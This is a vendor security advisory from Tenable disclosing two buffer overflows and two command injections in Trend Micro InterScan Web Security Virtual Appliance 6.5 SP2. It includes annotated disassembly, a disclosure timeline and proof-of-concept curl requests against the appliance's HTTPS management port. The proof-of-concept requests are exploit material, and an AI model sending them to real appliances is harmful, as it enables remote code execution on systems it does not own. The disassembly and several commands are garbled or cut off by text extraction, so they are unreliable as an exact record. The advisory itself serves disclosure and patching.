

# Trend Micro InterScan Web Security Virtual Appliance Multiple Vulnerabilities

High

← View More Research Advisories

#### **Synopsis**

Tenable found multiple vulnerabilities in Trend Micro InterScan Web Security Virtual Appliance (IWSVA) 6.5 Service Pack 2, build 1901.

#### CVE-2020-28578: Unauthenticated Remote Stack Buffer Overflow

The flaw exists in the Java\_com\_trend\_iwss\_gui\_lWSSJNI\_DecryptPasswd function in libuiauutil.so due to improper validation of user-supplied data before copying it to a fixed-size, stack-based buffer via the strcpy function:

```
.text:0001EC00 Java_com_trend_iwss_gui_IWSSJNI_DecryptPasswd proc near
.text:0001EC00
                                      ; DATA XREF: LOAD:000037701o
.text:0001EC00 dest= dword ntr -42Ch
.text:0001EC00 src= dword ptr -428h
.text:0001EC00 var_424= dword ptr -424h
.text:0001EC00 var_41C= byte ptr -41Ch
.text:0001EC00 var_10= dword ptr -10h
.text:0001EC00 var_C= dword ptr -0Ch
 .text:0001EC00 var_8= dword ptr -8
.text:0001EC00 var_4= dword ptr -4
.text:0001EC00 arg_jniEnv= dword ptr
 .text:0001EC00 arg_jstringPassword= dword ptr 0Ch
.text:0001EC00
.text:0001EC00 ; __unwin
.text:0001EC00 sub
.text:0001EC06 mov
                            esp, 42Ch
                            [esp+42Ch+var_C], esi
esi, [esp+42Ch+arg_jniEnv]
.text:0001EC0D mov
.text:0001EC14 mov
                             edx, [esp+42Ch+arg_jstringPassword] ; attacker-controlled
.text:0001EC1B mov
                            [esp+42Ch+var_10], ebx
[esp+42Ch+var_8], edi
.text:0001EC22 mov
.text:0001EC29 lea
                            edi, [esp+42Ch+var 41C]
.text:0001EC2D mov
                            [esp+42Ch+var_4], ebp
 .text:0001EC34 mov
                             eax, [esi]
.text:0001EC36 call
                            sub 1978D
.text:0001EC3B add
                             ebx, 60FA9h
.text:0001EC41 mov
                            [esp+42Ch+src], edx
.text:0001EC45 mov
                            [esp+42Ch+var_424], 0
.text:0001EC4D mov
                            [esp+42Ch+dest], esi
.text:0001EC50 convert jstring to *char
.text:0001EC50 call [eax+JNIEnv.GetStringUTFChars]
Text:0001EC56 mov [esp+42Ch+dest], edi; fixed-size stack bu
text:0001EC59 mov [esp+42Ch+src], eax; attacker-controlled
                            [esp+42Ch+dest], edi ; fixed-size stack buf -> stack overflow !
.text:0001EC5D
                            ebp, eax
.text:0001EC5F
                  call _strcpy
```

#### **Proof of Concept**

 $An unauthenticated, remote attacker can exploit the vulnerability by sending a specially crafted \verb| HTTP| message to URL/rest/windows\_client\_status on HTTPS| port 8443:$ 

```
curl -ski -d 'ip=localhost&basic=true&encry=false&password='$(python -c "print 'A'*0x1000") https://:8443/rest/windows_client_status
```

The attacker can potentially achieve remote code execution with the privileges of the iscan account.

#### CVE-2020-28579: Authenticated Remote Stack Buffer Overflow

The flaw exists in the MailNotification function in libuiauutil.so due to improper validation of user-supplied data before copying it to a fixed-size, stack-based buffer via the streat function:

```
. \texttt{text:00048950 MailNotification} (\texttt{char const*}, \texttt{char const*}, \texttt{char const*}, \texttt{char const*}, \texttt{char *}) \texttt{ proc near const*}, \texttt{ char const*}, \texttt{ cha
                                                                                                                                           ; CODE XREF: MailNotification(char const*,char const*,char const*,char const*,char *)†j
 .text:00048950
  .text:00048950
                                                                                                                                                  ; DATA XREF: LOAD:00005C101o
 .text:00048950
                                                                                                                                              ; .got.plt:off_803F8↓o
 .text:00048950
 .text:00048950 buf= dword ptr -564Ch
.text:00048950 c = dword ptr -5648h
.text:00048950 n = dword ptr -5644h
 .text:00048950 var_5634= dword ptr -5634h
  .text:00048950 var_5630= dword ptr -5630h
 .text:00048950 var_562C= byte ptr -562Ch
 .text:00048950 var_542C= byte ptr -542Ch
.text:00048950 var_502C= byte ptr -502Ch
  .text:00048950 dest= byte ptr -3C2Ch
 .text:00048950 var_282C= dword ptr -282Ch
.text:00048950 var_2828= byte ptr -2828h
.text:00048950 var_1428= dword ptr -1428h
.text:00048950 var_1424= byte ptr -1424h
 .text:00048950 arg_mail_queue_path= dword ptr 4
.text:00048950 arg_sender_addr= dword ptr 8
  .text:00048950 arg_trendlab_addr= dword ptr 0Ch
 .text:00048950 arg_mailsubject= dword ptr 10h
  .text:00048950 arg_bodymsg= dword ptr 14h
  .text:00048950
 .text:00048950 ; __unwind {
```

# **Otenable**

```
техт:иии4х959
                           enx. 3//860
.text:0004895F
                           esp, 563Ch
                  sub
                           eax, [esp+564Ch+dest]
[esp+564Ch+n], 3C10h; n
.text:00048965
                  lea
.text:0004896C
.text:00048974
                  lea
                            ebp, [esp+564Ch+var_542C]
.text:0004897B
                           [esp+564Ch+c], 0 ; c
                  mov
.text:00048983
                           [esp+564Ch+buf], eax ; s
.text:00048986
                  call
                           memset
.text:0004898B
                  mov
                            eax, [esp+564Ch+arg_sender_addr]
                           [esp+564Ch+c], eax ; attacker-controlled src data
eax, [esp+564Ch+dest]
.text:00048992
                  mov
.text:00048996
                  lea
.text:0004899D
                           [esp+564Ch+buf], eax ; fixed_size stack buf -> stack overflow!
.text:000489A0
                  call
                           _strcat
```

#### **Proof of Concept**

An authenticated, remote attacker can exploit the vulnerability by sending a specially crafted HTTP message to URL /urlf\_reclassifyurl.jsp on HTTPS port 8443:

```
a) Login with a low privileged, reports only user account

curl -ski -d 'wherefrom=&wronglogon=no&uid=reports_only_user&passwd=&pwd=Log+On' https://:8443/uilogonsubmit.jsp

HTTP/1.1 302 Found

Cache-Control: no-cache

Content-Length: 0

Content-Type: text/html; charset=UTF-8

Date: Fri, 24 Jul 2020 20:14:44 GMT

Location: https://:8443/index.jsp?CSRFGuardToken=55MYNQKMBK8KC3EB9TXC3FKOQH372OGX&summary_scan

Pragma: no-cache

Server: Apache-Coyote/1.1

Set-Cookie: JSESSIONID=B3C8680FE9EEE804422FD8813D58496A; Path=/; Secure; HttpOnly

b) Attack with valid credentials and CSRFGuardToken

curl -ski --cookie 'JSESSIONID=B3C8680FE9EEE804422FD8813D58496A' -d 'op=send&url=MyUrl&sender_note=MySendNote&mailsubject=MyMailSubject&sender_addr='$(python -c "print 'A'*0x106")

The attacker can potentially achieve remote code execution with the privileges of the iscan account.
```

### CVE-2020-28580: Authenticated Command Injection in AddVLANItem

The flaw exists in the Java\_com\_trend\_iwss\_gui\_IWSSJNI\_AddVLANItem function in libuiauutil.so due to improper validation of user-supplied data before passing it to a system shell:

```
.text:00020620
                lea
                        eax, (aUsrIwssAdminui - 7FBE4h)[ebx]; "/usr/iwss/AdminUI/ui_ctl.sh"
.text:00020626
                        [esp+24Ch+param4], eax
.text:0002062A lea
                         eax, (aSAddvlanitemS - 7FBE4h)[ebx]; "%s addVLANItem %s"
                        [esp+24Ch+param1], edx
.text:00020630
.text:00020633 mov
                        [esp+24Ch+param5], ebp; attacker-controlled string
.text:00020637
                        [esp+24Ch+param3], eax; format
                mov
.text:0002063B
                        [esp+24Ch+param2], 1FFh ; maxlen
.text:00020643 mov
                        [esp+24Ch+var 220], edx
.text:00020647
                        _snprintf
.text:0002064C
                mov
                        edx, [esp+24Ch+var_220]
.text:00020650
                        [esp+24Ch+param1], edx; char *
.text:00020653
                call
                        system_with_fd_closed(char const*)
```

#### Proof of Concept

An authenticated, remote attacker can exploit the vulnerability by sending a specially crafted HTTP message to URL /servlet/com.trend.iwss.gui.servlet.ManageVLANSettings on HTTPS port 8443:

```
a) Login with a high privileged account

curl -ski -d 'wherefrom=&wronglogon=no&uid=admin&passwd=&pwd=Log+On' https://:8443/uilogonsubmit.jsp

HTTP/1.1 302 Found

Cache-Control: no-cache

Content-Length: 0

Content-Length: 0

Content-Type: text/html;charset=UTF-8

Date: Sat, 25 Jul 2020 01:32:57 GMT

Location: https://:8443/index.jsp?CSRFGuardToken=J4GIIPQZUU8896UP9P566UHSU54030UX&summary_scan

Pragma: no-cache

Server: Apache-Coyote/1.1

Set-Cookie: JSESSIONID=E96E748E0799158058771A2F1E38D63E; Path=/; Secure; HttpOnly

b) Attack with valid credentials and CSRFGuardToken

curl -ski --cookie 'JSESSIONID=E96E748E0799158058771A2F1E38D63E' -d 'CSRFGuardToken=J4GIIPQZUU8896UP9P566UHSU54030UX&action=add&ip=MyIp&submask=MySubMask&port=MyPort&id=MyId;tot

The attacker can execute arbitrary OS commands with the privileges of the iscan account.
```

#### CVE-2020-28581: Authenticated Command Injection in ModifyVLANItem

The flaw exists in the Java\_com\_trend\_iwss\_gui\_IWSSJNI\_ModifyVLANItem function in libuiauutil.so due to improper validation of user-supplied data before passing it to a system shell:

```
.text:0002088D mov eax, [esp+24Ch+var_220]
.text:00020895 lea ecx, [esp+24Ch+s]
.text:00020895 mov [esp+24Ch+param5], edx; attacker-controlled string
.text:00020890 mov [esp+24Ch+param1], ecx
.text:00020890 mov [esp+24Ch+param2], 1FFh; maxlen
```



```
.text:ย00208EC call _sprintf
.text:e00208EC call _sprintf
.text:e00208EC lea eax, [esp+24Ch+s]
.text:e00208EC call system_with_fd_closed(char const*)
...
```

### **Proof of Concept**

An authenticated, remote attacker can exploit the vulnerability by sending a specially crafted HTTP message to URL /servlet/com.trend.iwss.gui.servlet.ManageVLANSettings on HTTPS port 8443:

```
a) Login with a high privileged account

curl -ski -d 'wherefrom=&wronglogon=no&uid=admin&passwd=&pwd=Log+On' https://:8443/uilogonsubmit.jsp

HTTP/1.1 302 Found

Cache-Control: no-cache

Content-Length: 0

Content-Type: text/html;charset=UTF-8

Date: Sat, 25 Jul 2020 03:37:45 GMT

Location: https://:8443/index.jsp?CSRFGuardToken=K26DCQZV520QQR87PXUIZLEL9RB1KRT&&summary_scan

Pragma: no-cache

Server: Apache-Coyote/1.1

Set-Cookie: JSESSIONID=2867F790DE0F380445967CDEF6D9F609; Path=/; Secure; HttpOnly

b) Attack with valid credentials and CSRFGuardToken

curl -ski --cookie 'JSESSIONID=2867F790DE0F380445967CDEF6D9F609' -d 'CSRFGuardToken=K26DCQZV520QQR87PXUIZLEL9RB1KRT&&action=modify&oldip=MyOldIp&oldsubmask=MyOldSubMask&oldporter

Curl -ski --cookie 'JSESSIONID=2867F790DE0F380445967CDEF6D9F609' -d 'CSRFGuardToken=K26DCQZV520QQR87PXUIZLEL9RB1KRT&&action=modify&oldip=MyOldIp&oldsubmask=MyOldSubmask=MyOldSubmask=MyOldSubmask=MyOldSubmask=MyOldSubmask=MyOld
```

The attacker can execute arbitrary OS commands with the privileges of the iscan account.

#### Solution

Trend Micro has made a Critical Patch (CP) available for Trend Micro InterScan Web Security Virtual Appliance (IWSVA) 6.5 SP2. See https://success.trendmicro.com/solution/000281954.

### **Additional References**

https://success.trendmicro.com/solution/000281954

#### **Disclosure Timeline**

08/17/2020 - Reported to Trend Micro. 90-day date is November 16, 2020.

 $08/17/2020 - Trend\ Micro\ thanks\ us\ for\ sending\ the\ report.\ Will\ submit\ to\ the\ relevant\ technical\ team.$ 

08/18/2020 - Tenable acknowledges.

09/14/2020 - Tenable asks for an update.

 $09/14/2020 - Trend\ Micro\ is\ still\ looking\ into\ the\ reports.\ They\ will\ update\ us\ if\ there\ is\ any\ significant\ progress.$ 

09/14/2020 - Tenable thanks TM.

09/30/2020 - Tenable asks for an update.

09/30/2020 - TM says the reports are still being checked by developers. They will update us if there is any significant progress.

10/28/2020 - Tenable asks for an update.

10/29/2020 - TM says the developers are working on a fix.

11/09/2020 - Tenable asks for an update.

11/10/2020 - TM asks for an extension. Plans to issue bulletin around 2nd week of December.

11/12/2020 - Tenable will not grant an extension, per policy.

11/12/2020 - Tenable asks if TM will assign CVEs.

11/16/2020 - TM responds with CVE assignments and a link to their bulletin.

All information within TRA advisories is provided "as is", without warranty of any kind, including the implied warranties of merchantability and fitness for a particular purpose, and with no guarantee of completeness, accuracy, or timeliness. Individuals and organizations are responsible for assessing the impact of any actual or potential security vulnerability.

Tenable takes product security very seriously. If you believe you have found a vulnerability in one of our products, we ask that you please work with us to quickly resolve it in order to protect customers. Tenable believes in responding quickly to such reports, maintaining communication with researchers, and providing a solution in short order.

 $For more \ details \ on \ submitting \ vulnerability \ information, \ please \ see \ our \ Vulnerability \ Reporting \ Guidelines \ page.$ 

If you have questions or corrections about this advisory, please email  ${\it advisories} @ tenable.com$ 

## **Risk Information**

CVE ID: CVE-2020-28578 CVE-2020-28579 CVE-2020-28580 CVE-2020-28581

Tenable Advisory ID: TRA-2020-63 CVSSv3 Base / Temporal Score: 7.3 / 6.6

CVSSv3 Vector: AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L

Affected Products: InterScan Web Security Virtual Appliance (IWSVA) 6.5 Service Pack 2, build 1901

Risk Factor: High

#### **Advisory Timeline**

11/16/2020 - Advisory published.

11/16/2020 - Updated advisory with CVEs and solution.

# **Otenable**

FEATURED PRODUCTS

# Tenable One Exposure Management Platform Tenable.cs Cloud Security Tenable.io Vulnerability Management Tenable.io Web App Scanning Tenable.asm External Attack Surface Tenable.ad Active Directory Tenable.ot Operational Technology Tenable.sc Security Center Tenable Lumin Nessus ightarrow View all Products FEATURED SOLUTIONS Application Security Building Management Systems Cloud Security Posture Management Exposure Management Finance Healthcare IT/OT Ransomware State / Local / Education US Federal Vulnerability Management Zero Trust $\rightarrow \text{View all Solutions}$ CUSTOMER RESOURCES Resource Library Community & Support Customer Education Tenable Research Documentation Trust and Assurance Nessus Resource Center Cyber Exposure Fundamentals System Status CONNECTIONS Blog Contact Us Careers Investors Events



Media

Privacy Policy Legal 508 Compliance © 2022 Tenable®, Inc. All Rights Reserved © tenable ==